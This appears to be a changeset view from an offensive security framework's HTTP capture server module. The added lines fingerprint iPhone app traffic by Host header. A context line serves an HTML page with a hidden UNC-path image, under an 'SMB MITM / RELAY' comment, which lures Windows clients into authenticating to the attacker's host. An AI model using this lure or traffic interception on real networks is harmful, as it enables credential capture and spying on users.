Changeset 5455

Show
Ignore:
Timestamp:
03/22/08 02:13:47 (2 months ago)
Author:
hdm
Message:

Add sigs for iphone usage

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/auxiliary/server/capture/http.rb

    r5452 r5455  
    128128                print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource}") 
    129129                 
     130                 
     131                # The google maps / stocks view on the iPhone 
     132                if (req['Host'] == 'iphone-wu.apple.com') 
     133                        case req.resource 
     134                        when '/glm/mmap' 
     135                                print_status("HTTP #{cli.peerhost} is using Google Maps on the iPhone") 
     136                        when '/dgw' 
     137                                print_status("HTTP #{cli.peerhost} is using Stocks/Weather on the iPhone") 
     138                        else 
     139                                print_status("HTTP #{cli.peerhost} is request #{req.resource} via the iPhone") 
     140                        end 
     141                end 
     142                 
     143                # The itunes store on the iPhone 
     144                if(req['Host'] == 'phobos.apple.com')  
     145                        print_status("HTTP #{cli.peerhost} is using iTunes Store on the iPhone") 
     146                        # GET /bag.xml 
     147                end 
     148                 
     149                 
     150                 
     151                # SMB MITM / RELAY 
     152                 
    130153                data = "<html><head><title>Connecting...</title></head><body><img src='\\\\#{mysrc}\\public\\loading.jpg' width='1' height='1'></body></html>" 
    131154                res  =